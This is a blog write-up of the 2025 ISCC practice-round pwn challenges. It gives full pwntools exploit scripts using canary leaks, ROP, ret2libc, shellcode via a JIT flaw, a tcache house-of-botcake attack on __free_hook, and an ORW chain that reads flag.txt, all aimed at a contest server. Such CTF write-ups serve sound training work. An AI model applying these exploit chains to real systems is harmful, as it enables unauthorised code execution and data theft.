2025 ISCC 练武赛Pwn-wp(含附件)

CTFshow-PWN入门-前置基础-全篇 本文主要详解CTFshow中pwn入门系列的前置基础模块,共30道题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope的博客以下操作中小编用的都是自己的kali环境。 阅读详情

前言

去年个人赛报名了忘记打了(笑), 所以这应该算是我第一次参加ISCC, 体验也是非常非常非常非常的cha(第四声)!!!
主办方也是非常幽默,pwn和web都是公用容器,那web最后都被当成玩具玩坏了
下面是这次练武题的pwn所有附件

通过网盘分享的文件:2025ISCC练武赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1aDBEOZ4XESb6yfCrCI5Wgg?pwd=xidp 提取码: xidp

解出

genius

![[Pasted image 20250514173408.png]]

先后输入 no 和 thanks 最终进入 function3函数 中,这里存在两个溢出,一个是 read溢出,一个是 gets溢出
![[Pasted image 20250514174130.png]]

我们注意到read溢出下面有一个pritnf输出,所以我们可以通过read来覆盖掉canary结尾的\x00使得canary被pritnf输出,然后再利用gets溢出打ROP,注意程序已经为我们提供了 backdoor
![[Pasted image 20250514174710.png]]

完整exp如下:

from xidp import *

#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:12000'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)

back_door = 0x004011A6
ret = 0x000000000040101a#: ret;
io.sendline("no")
io.sendline("thanks")
payload = cyclic(0x18)
io.sendline(payload)
io.recvuntil(b'faaa')

canary = u64(io.recv(8))-0xa
leak("canary")

payload = b'a'*0x18 + p64(canary) + p64(0) + p64(ret) + p64(back_door)

io.sendline(payload)
ia()

![[Pasted image 20250514173841.png]]

Fufu

![[Pasted image 20250514173532.png]]

选择1,利用整数溢出绕过检查,获得 格式化字符串 和 read溢出,利用 格式化字符串 获得 程序基地址,libc地址, canary的值,然后正常打ROP即可
![[Pasted image 20250515081636.png]]

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.200.155.151:12600'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = [0x01237]
#---------------------debug-------------------------------

sdla(b"Furina: Your choice? >> ", b"1")
sdla(b"Furina: Time is limited! >> ", str(429496730))
rcu("Furina: Present your evidence! >> ")

# puts_addr_offset = 11
# canary_offset = 17
# main_addr_offset = 25
payload = b"%11$p_%17$p_%25$p"
sdl(payload)

rcu("0x")
puts_addr = int(io.recv(12), 16) - 346
rcu("0x")
canary = int(io.recv(16), 16)
rcu("0x")
main_addr = int(io.recv(12), 16)
leak("puts_addr")
leak("canary")
leak("main_addr")
elf_base = main_addr - 0x1338
leak("elf_base")

# libc_base = puts_addr - libc.symbols["puts"]
# system = libc_base + libc.symbols["system"]
# binsh = libc_base + next(libc.search(b"/bin/sh"))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")

pop_rdi_ret = elf_base + 0x000000000000132f#: pop rdi; ret;
ret = elf_base + 0x000000000000101a#: ret;

payload = p64(canary) * 11
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)

sdla(b"hcy want to eat chicken! >> ", payload)

# pwndbg(1, bps, cmd)

ia()

![[Pasted image 20250515082217.png]]

mutsumi

![[Pasted image 20250514173548.png]]

整个程序主要分为三个流程,在main函数中按照固定格式不断读取数据,在mutsumi_jit函数中堆读取的数据进行分析,最后run_vm函数会跳转到0x114000(存放解析后指令的地址执行程序)

固定的格式有三种:

xxxx,ido
to
<人名>
xxxx,ido
<数字>
saki,ido
stop
// 这里必须是saki才可以stop

第一种在漏洞利用中没有用到
第二种就是按照这个格式输入数字,最后这个数字会被存在堆中,在程序停止接收输入后进入到mutsumi_jit函数函数后会被解析为对应的jmp指令
第三种就是告诉程序停止接收输入,注意第三种开头必须是saki否则程序会强制退出,具体如下
![[Pasted image 20250515204908.png]]

题目的漏洞点在 main -> mutsumi_jit -> imm2asm 这个函数中
![[Pasted image 20250515205822.png]]

简单来说这个程序就是 imm2asm(number, &len)
如果 number > 255 那么就返回 jmp number
如果 number < 255 那么就返回 jmp rip+number

那么我们的利用方法是这样的
我们先输入一个 1 那么得到 jmp rip+1
然后输入我们想要的指令的字节码(必须是4字节,不为四字节用\x90补齐) 得到 jmp xxxxx(我们的指令)
由于rip是指向下一条指令的地址,那么rip+1就是下一条指令去掉第一个开头的指令,也就是去掉了jmp的指令,那么就变成了我们输入的指令
我们可以使用gdb调试和pwndbg的x/50i 指令来验证

将程序运行此处,查看执行的汇编代码
![[Pasted image 20250515193307.png]]

查看我们输入的内容
![[Pasted image 20250515193257.png]]

从这里我们就可以看到 我们0x114003的下面本该是从0x114005开始执行,但是却跳到了0x114006
如何就导致这个指令从jmp xxxx变成了xor al,0x3b;
由此我们可以实现我们的ret2syscall

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:12800'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
# bps = [0x1697, 0x016E3, 0x018EA]
bps = [0x0156B]
#---------------------debug-------------------------------

def send_cmd(payload):
    io.sendline(b'xidp,ido')
    io.sendline(payload)

def bytes_to_int_encoder(bytes):
    return str(struct.unpack('<I', bytes)[0])

# 0x68732f6e69622f = hs/nib/
code_fragments = [
    b"\x34\x3b\x90\x90",# xor al,0x3b; nop; nop
    b"\x48\x31\xf6\x90",# xor rsi,rsi; nop;
    b"\x48\x31\xd2\x90",# xor rdi,rdi; nop;
    b"\x66\xbb\x73\x68",#mov bx,0x6873
    b"\x48\xc1\xe3\x10",#shl rbx,0x10
    b"\x66\xbb\x6e\x2f",#mov bx,0x2f6e
    b"\x48\xc1\xe3\x10",#shl rbx,0x10
    b"\x66\xbb\x62\x69",#mov bx,0x6962
    b"\x48\xc1\xe3\x08",#shl rbx,0x8 注意这里是shl 0x8 不是shl 0x10 所以下面需要重复一个\x62
    b"\x66\xbb\x2f\x62",#mov bx,0x622f
    b"\x53\x90\x90\x90",#push rbx
    b"\x89\xe7\x90\x90",#mov edi,esp
    b"\x0f\x05\x90\x90",#syscall
]


for code_segment in code_fragments:
    send_cmd(payload = b"1")
    send_cmd(payload = bytes_to_int_encoder(code_segment))  # 输入payload

# pwndbg(1, bps, cmd)

# 结束输入开始运行
io.sendline(b'saki,stop')

ia()

![[Pasted image 20250515122345.png]]

program

![[Pasted image 20250514173602.png]]

一个基础入门的堆题,所使用的版本为 Ubuntu GLIBC 2.31-0ubuntu9.17
![[Pasted image 20250514175157.png]]

程序同时存在 UAF 和 堆溢出 两个漏洞,但是由于libc版本不高,我做的时候发现了UAF就直接开始打了,只用了UAF就做出来了,没用用到堆溢出

大致思路就是攻击 tcachebin 使用了 house of botcake 的攻击手法,修改 tcachebin 的 next指针 为 free_hook ,修改 free_hook 为 system_addr 然后找一个 chunk 写入 /bin/sh 字符串,然后 free 这个 chunk

完整exp如下:

from xidp import *

#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so'
ip = '101.200.155.151:12300'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    x/30gx 0x4040C0\n
    """
# 断点
bps = []
#---------------------debug-------------------------------
menu = "choice:\n"  
def add(idx, size):  
    sdla(menu, str(1))  
    sdla("index:\n", str(idx))  
    sdla("size:\n", str(size))  

def free(idx):  
    sdla(menu, str(2))  
    sdla("index:\n", str(idx))  
  

def edit(idx, lenth, content):  
    sdla(menu, str(3))  
    sdla("index:\n", str(idx))  
    sdla("length:\n", str(lenth))  
    sda("content:\n", content)  


def show(idx):  
    sdla(menu, str(4))  
    sdla("index:\n", str(idx))


for i in range(0, 9):
    add(i, 0x100)

add(9, 0x20) # 防止合并

for i in range(0, 9):
    free(i)

add(10, 0x30)
show(10)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x1ECDF0
leak("libc_base", libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.symbols['system']
leak("free_hook", free_hook)
leak("malloc_hook", malloc_hook)
leak("binsh", binsh)
leak("system", system)
  
add(11, 0x100)
free(8)
add(12, 0x1d0) # 可以控制到chunk9的next指针
payload = p64(0)*(2*12)
payload += p64(0x110) + p64(0x110)
payload += p64(free_hook)
edit(12, 0x100, payload)
edit(2, 0x100, b"/bin/sh\x00") # 把binsh字符串写入到chunk2中
add(13, 0x100)
add(14, 0x100)
edit(14, 0x100, p64(system)) # chunk14的fd指向system

free(2)
# pwndbg(1, bps, cmd)

ia()

远程有点怪,我明明打的shell,但是远程直接就输出flag给我了
![[Pasted image 20250514175704.png]]

Dilemma

![[Pasted image 20250517113813.png]]

程序开启了沙箱保护
![[Pasted image 20250517114116.png]]

func_1函数中先 格式化字符串 后 read溢出,但read溢出量不够我们打ORW
![[Pasted image 20250517114148.png]]

func_0函数中 先 read溢出 后 格式化字符串 , 这里格式化字符串不好利用,但是read溢出量足够大
![[Pasted image 20250517114411.png]]

所以我的思路是先利用 func_1中的格式化字符串漏洞泄露canary和栈地址,并且利用其中的read溢出转移到func_0中
随后利用func_0中的read溢出构造puts泄露libc地址,然后再次返回func_0,构造ROP,打ORW

这里有人就要问了,诶,为什么第一次格式化字符串不直接泄露libc地址呢,而是需要在第二次中利用puts来泄露libc地址呢
理由很简单啊,下面是我本地调用call printf的时候栈内存的情况,我做的时候头都晕了,下面哪个可以用来泄露libc地址我一时间都想不起来,(那个__libc_start_call_main+128不行吗?也许是可以的,但是我不喜欢),头一热我感觉构造个puts也不麻烦,然后我就这样做了,现在想起来我构造了那么一大段真是勤劳的小蜜蜂
![[Pasted image 20250517114905.png]]

然后利用puts泄露了read地址,puts地址,printf地址,然后放到网站里面查找得到远程libc为libc6_2.35-0ubuntu3.8_amd64.so
网址: libc-database
![[libc_search.jpg]]

应该还有更方便的方法直接泄露libc_base,然后打ORW的那种,但是我已经不想去研究了

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
# libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc6_2.35-0ubuntu3.8_amd64.so'
ip = '101.200.155.151:12500'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = [0x040129B]
#---------------------debug-------------------------------
func1_addr = 0x0401235
func2_addr = 0x04011A3
pop_rdi_ret = 0x000000000040119a#: pop rdi; ret;
leave_ret = 0x0000000000401233#: leave; ret;
ret = 0x000000000040101a#: ret;
bss_addr = 0x0404080 + 0x300
puts_got = elf.got["puts"] # 0x7fc6afd5ae50
printf_got = elf.got["printf"] # 0x7fd87dcab6f0
read_got = elf.got["read"] # 0x7f0d77c007d0
puts_got = elf.got["puts"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

sdla("where are you go?\n", str(1))  

# canary_offset = 15
# stack_addr = 9
# 0x7fffffffdf10 stack_addr

pwndbg(0, bps, cmd)

payload = "%15$p_%9$p"
sdla("Enter you password:\n", payload)
rcu("0x")
canary = int(io.recv(16), 16)
leak("canary")
rcu("0x")
stack_addr = int(io.recv(12), 16)
leak("stack_addr")
flag_addr = stack_addr - 32
leak("flag_addr")
payload = cyclic(40)
payload += p64(canary)
payload += p64(0)
payload += p64(ret) # 这里还需要栈对齐,因为下面func2里面有printf需要栈对齐,否则会卡住
payload += p64(func2_addr)
sdla("I will check your password:\n", payload)

payload = cyclic(40)
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(func2_addr)
sdla("We have a lot to talk about\n", payload)

rcu("To find life in the face of death")
rc(41)
puts_addr = uu64()
leak("puts_addr")

libc_base = puts_addr - libc.symbols["puts"]
open_addr = libc_base + libc.symbols["open"]
read_addr = libc_base + libc.symbols["read"]
write_addr = libc_base + libc.symbols["write"]

# libc6_2.35-0ubuntu3.8_amd64.so

pop_rsi_ret = libc_base + 0x0000000000141d5e#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret;

leak("libc_base")
leak("open_addr")
leak("read_addr")
leak("write_addr")
  
payload = b"flag.txt" # 这里远程的flag叫做flag.txt卡了我半天,ISCC你赢了
payload = payload.ljust(40, b'\x00')
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(flag_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(open_addr)
  
payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rdx_r_ret)
payload += p64(0xff)
payload += p64(0)
payload += p64(read_addr)

payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(write_addr)

put(len(payload))

sdla("We have a lot to talk about\n", payload)

ia()

![[Pasted image 20250517113751.png]]

未解出

easybee

![[Pasted image 20250517135738.png]]

真是不会了内核,我的泪,最后咋900来解?水平还是太差了,还要继续努力,求个会内核的师傅带带。

PWN入门之数组越界-附件资源 立即下载

相关推荐

Verilog中generate for循环的5个实战技巧(附完整代码示例)

本文详细介绍了Verilog中generate for循环的5个高级实战技巧,包括参数化模块实例化、条件化生成、多维硬件结构实现等,并附有完整代码示例。这些技巧能显著提升FPGA开发效率,特别适合中级Verilog开发者学习应用。

weixin_28725949的博客 187

ISCC 2025决赛 wp

摘要:本文分析了两个安全挑战的解决方案——PWN二进制程序利用和MOBILE安卓应用逆向。在PWN部分,通过分析64位程序的漏洞点(格式化字符串和栈溢出),结合ORW技术绕过限制,利用mprotect函数执行shellcode获取flag。在MOBILE部分,通过逆向分析安卓应用的验证逻辑,发现核心验证流程涉及RC4加密、二进制转换和最终校验,成功破解了flag验证机制。两题分别展示了二进制漏洞利用和移动应用逆向的典型解题思路。<|end▁of▁sentence|>

saulgoodman的博客 2432

Jetson Orin NX上PyTorch环境搭建与性能优化指南

本文详细指导如何在Jetson Orin NX上搭建高效的PyTorch开发环境。内容涵盖CUDA与cuDNN的“隐藏”配置、Miniconda虚拟环境管理、PyTorch for Jetson的正确安装与验证,并提供了电源模式设置、TensorRT加速、混合精度等关键性能优化实战技巧,帮助开发者充分释放边缘AI设备的算力。

weixin_29090089的博客 337

2025ISCC练武校级赛部分题解WP

2025ISCC练武校级赛部分题解WP

qq_39673370的博客 1995

H3C ACL的应用与配置1

SWHC1-acl-ipv4-adv-3000]rule 30 permit ip source 192.168.50.252 0 destination 192.168.70.252 0 //设置一条ID为30的过滤,允许源地址为 192.168.50.252 访问目的地址为192.168.70.252 的设备。高级ACL范围3000-3999:对源IP,目地IP,协议,端口号进行过滤。[SWHC1]acl number 3000 //创建高级ACL 3000。

weixin_41120428的博客 2425

TSmaster CANFD配置避坑指南:为什么你的PCAN盒不支持最新版本?

本文针对TSmaster配置PCAN硬件进行CANFD通信时的常见问题,提供了详细的避坑指南。重点解析了CANFD配置中TSEG1等关键参数的理解误区,并深入探讨了TSmaster新版本与PCAN硬件驱动之间的兼容性变化,帮助工程师快速定位并解决连接失败或无法发送CANFD报文等问题。

alpha的博客 542

ISCC2025 区域赛全部题解

方法c:在输入字符串前添加"00",如果结果长度不是4的倍数,直接返回,否则,将字符串按4个字符一组分割,将每组4个字符作为16进制数解析,转换为对应的Unicode字符,将所有转换后的字符拼接成字符串返回。根据三张图片发现首站是地铁朝阳站,终点站是魏公站,观察地图,发现首站是3号线最后是4号线,根据有19站,然后就是分析猜测,最后猜测是3104。这里对size大小没有做严格的判断,导致输入很大的size也可以,就会导致堆溢出,覆盖到下一个chunk,存在堆溢出漏洞。**掩码爆破,最后发现对了。

saulgoodman的博客 3122

SpringCloud 2025王炸更新!GraalVM原生镜像启动速度提升90%实战

在当今云原生和Serverless架构盛行的时代,应用的启动速度已成为衡量技术栈竞争力的关键指标。传统SpringCloud应用由于依赖JVM的动态类加载、反射等机制,启动时间通常超过30秒,在Kubernetes滚动更新和函数计算场景下成为显著性能瓶颈。2025年,SpringCloud迎来里程碑式更新,通过深度集成GraalVM原生镜像技术,实现了启动速度提升90%的惊人突破,让SpringCloud应用正式进入"秒级启动"时代。

小筱在线博客 1098

ISCC 2025练武题 WP部分

垃圾比赛,垃圾题目,纯脑洞题,技术好不好没得关系,就看你脑洞大不大。web里塞misc,re里塞misc真是牛逼他妈给牛逼开门牛逼到家。逆天平台,卡的一批,靶机还是公用的,把flag删了也是逆天。封你IP没得商量,下个附件,把老子IP封几十个,代理池换都换不过来。你值得拥有。

saulgoodman的博客 2072

汽车BMS技术分享及其HIL测试方案

在全球碳中和目标的战略驱动下,新能源汽车产业正以指数级速度重塑交通出行格局。动力电池作为电动汽车的"心脏",其性能与安全性不仅直接决定了车辆的续航里程、使用寿命等关键指标,更深刻影响着消费者对电动汽车的市场接受度。而电池管理系统(Battery Management System, BMS)是动力电池安全运行与性能释放的核心技术支撑。

Speedgoat的博客 2684

从后端角度浅谈抗辐射设计----三模冗余(TMR)

三模冗余设计(TMR),是最常用的一种容错技术,三个模块采取相同的操作,以多数相同的输出作为表决系统的正确输出,即3取2,因为三个模块是相互独立的,而其中两个模块同时出错的概率是极小的,因此便可保证系统输出的可信度。然而这个设计也会存在面积浪费,功耗的增加,而且由于是冗余的设计,在后续进行综合或者pr的时候会被工具优化,因此需要对模块进行don’t touch设置;通过增值表得到,逻辑关系表达式为:Q=(Q1&Q2)|(Q1&Q3)|(Q2&Q3),通过工艺库的stdcell进行搭建,得到如下电路。

芯冰乐 327

iscc 2025 pwn 几乎全 wp

利用write函数泄露libc,打ret2libc即可。

2502_91269216的博客 1244

LM358模拟声音传感器原理图设计,已量产(声音传感器)

最近在做智能家居设备的声音触发模块时,搭了个基于 LM358 的模拟声音传感器电路 —— 不用复杂的专用芯片,靠通用运放就能把环境声音转化为可被单片机 AD 采集的电压信号,成本压得很低,实际调试下来灵敏度和稳定性都够用。今天把这个电路拆解开,聊聊每部分的设计思路。

不脱发的程序猿 469

ISCC2026练武题校赛wp

ISCC 2026部分赛题解析 本次比赛中出现了多个技术方向的题目,包括逆向工程、Web安全、密码学等。以下是部分赛题的简要分析: 逆向工程方向: "where's bunny"题目采用多层加密,通过分析斐波那契数组生成密钥,使用RC4、XOR、ADD和TEA四种加密算法组合保护flag。 "DualProtection"题目结合格式化字符串漏洞和栈溢出,通过修改全局变量绕过检查,最终实现ret2libc攻击。 Web安全方向: "消失的密钥"考察

2402_87950092的博客 834

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

ISCC-2025-web-wp

校赛靠着ENOCH师傅发力,也是一路躺进了区域赛,E师傅不好意思发这抽象比赛的wp(这比赛确实啥必到让人大开眼界,反正明年我是肯定不会打了),我就顺手要过来连着区域赛的一起发了。

2301_79035389的博客 1412

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

iscc2025区域赛wp

2025ISCC区域赛web和misc方向的wp

star3119391396的博客 1489

2025 ISCC 擂台赛Pwn-wp(含附件)

相比练武赛,擂台赛的题目指令还是要高很多的,里面都是师傅们用心出的题目,但是为什么那么多vm pwn???通过网盘分享的文件:2025ISCC擂台赛Pwn全部附件.rar链接: https://pan.baidu.com/s/1y_zdFltMZmCxfxalS9EuCw?pwd=xidp 提取码: xidp。

XiDPPython的博客 1501

2023-ISCC信息安全与对抗竞赛wp-misc(详解,有脚本( •̀ ω •́ ),脚本解析,有附件)

2023-ISCC信息安全与对抗竞赛wp-misc(详解,有脚本( •̀ ω •́ ),脚本解析,有附件) 以下是本人的一些解题思路和过程,供各位道友参考 对了不要喷呀如有错误或者心得请联系我 小友看见定即时改正回复 对了小友 我自身实力 交了两个非预期 也是有运气在身(这里本姓名就不再透露了,当然知道的人肯定知道 嘻嘻)

路baby的博客 9484

CTF PWN入坑

CTF PWN入门(一) 1.攻防世界get_shell 将下载好的附件用在Linux中打开命令是./ 文件名 发现没有权限,原来需要先添加权限可使用chmod +x ./ 文件名。 然后nc -nv 111.198.29.45 55973链接到远程主机 ***更多chmod介绍https://www.cnblogs.com/peida/archive/2012/11/29/2794010.htm...

Alan-WalkBill的博客 3513

理解 Linux 动态库加载:LD_LIBRARY_PATH

flyfish

二分掌柜的 334

Linux-iostat命令详解

Linux命令学习记录

m0xin的博客 103

【Linux】APT 本地 deb 安装与 `-f` 参数总结笔记

apt install ./xx.deb 可自动解析并安装依赖,无需 -f;-f 仅用于修复已损坏的依赖状态,非首次安装时必需。apt install -f 可单独运行,修复 broken dependencies。两者职责不同:前者是安装与依赖解决,后者是故障修复。完全离线时需提前准备依赖包或本地源。

hknaruto的专栏 210

Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位

iptables 四表五链模型、firewalld zone 信任级别、云安全组与主机防火墙的关系与优先级,避坑改了防火墙把自己挡在服务器外面的翻车事故。

2502_91473995的博客 299

Linux rm 误删文件恢复实操教程

Linux使用rm删除文件时,并不会直接抹除磁盘上的数据,只是移除文件索引,让系统不再识别这块空间。只要没有写入新数据,原有扇区内容就会保留。新文件写入才有可能覆盖这些区域,一旦覆盖就很难找回。恢复的本质就是扫描磁盘,找到这些还存在、但索引丢失的数据条目,再把它们导出保存到其他分区。越早停止写入,恢复成功的概率越高。

海天数据恢复-winhex数据恢复教程 227

Linux sudo

如果输出 → 无 sudo 权限 如果输出 → 拥有全部 sudo 权限 辅助验证命令 ⚠️ 注意:在 wheel 组 ≠ 一定能 sudo,必须 开启 Ubuntu/Debian: ✅ 重要:修改组之后,用户要重新登录才生效! 或者执行 临时生效 看到这行(没有 #注释)才生效: 方式 2:visudo 直接单独给用户授权(精细化权限) 找到 ,下面添加一行: 自带语法校验,写错会告警,不要直接 vim 改 ,写错直接 sudo 炸掉! 想免密 su

fengliyang_的博客 178

Windows/Linux下强实时运动控制内核(二):基于Qt的Delta机械手的开发应用

强实时运动控制内核MotionRT750下Qt开发Delta机械手的完整开发流程。

weixin_57350300的博客 241
上一篇: 2025 UCSCCTF Pwn-wp(含附件)
下一篇: 2025 ISCC 擂台赛Pwn-wp(含附件)
XiDP
博客等级 码龄3年 209粉丝 10原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值